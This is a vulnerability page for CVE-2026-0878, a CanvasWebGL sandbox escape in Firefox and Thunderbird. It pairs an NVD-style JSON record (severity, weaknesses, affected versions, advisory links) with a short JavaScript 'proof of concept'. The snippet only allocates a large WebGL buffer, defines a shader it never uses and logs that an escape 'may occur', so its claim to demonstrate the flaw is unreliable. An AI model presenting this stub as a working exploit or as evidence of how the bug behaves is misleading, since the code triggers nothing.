CVE-2026-0878

// CVE-2026-0878 PoC - CanvasWebGL Sandbox Escape // This PoC demonstrates the boundary condition issue in CanvasWebGL // Note: This is a conceptual PoC for educational purposes only const canvas = document.createElement('canvas'); canvas.width = 4096; canvas.height = 4096; const gl = canvas.getContext('webgl2'); if (!gl) { console.log('WebGL2 not supported'); } else { // Attempt to trigger boundary condition issue const buffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, buffer); // Create oversized buffer data to trigger boundary issue const oversizedData = new Float32Array(10000000); gl.bufferData(gl.ARRAY_BUFFER, oversizedData, gl.STATIC_DRAW); // Trigger rendering with boundary condition bypass const shaderSource = ` attribute vec4 position; void main() { gl_Position = position; } `; console.log('Boundary condition test initiated'); console.log('If vulnerability exists, sandbox escape may occur'); }

{"cve": {"id": "CVE-2026-0878", "sourceIdentifier": "[email protected]", "published": "2026-01-13T14:16:38.367", "lastModified": "2026-04-13T15:17:16.353", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sandbox escape due to incorrect boundary conditions in the Graphics: CanvasWebGL component. This vulnerability was fixed in Firefox 147, Firefox ESR 140.7, Thunderbird 147, and Thunderbird 140.7."}, {"lang": "es", "value": "Escape de sandbox debido a condiciones de contorno incorrectas en el componente Graphics: CanvasWebGL. Esta vulnerabilidad afecta a Firefox < 147, Firefox ESR < 140.7, Thunderbird < 147, y Thunderbird < 140.7."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 5.8}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.7.0", "matchCriteriaId": "A2FC50B3-5A36-4702-8CF6-CC732E3B148B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "147.0", "matchCriteriaId": "E06AF540-011D-4249-9815-3A4609DD26D1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.7.0", "matchCriteriaId": "BFBAB968-3244-4970-8D02-CCF9D5FB958D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:-:*:*:*", "versionEndExcluding": "147.0", "matchCriteriaId": "47B67C0A-B05F-4212-9255-0446302237A5"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2003989", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-01/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-03/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-04/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-05/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}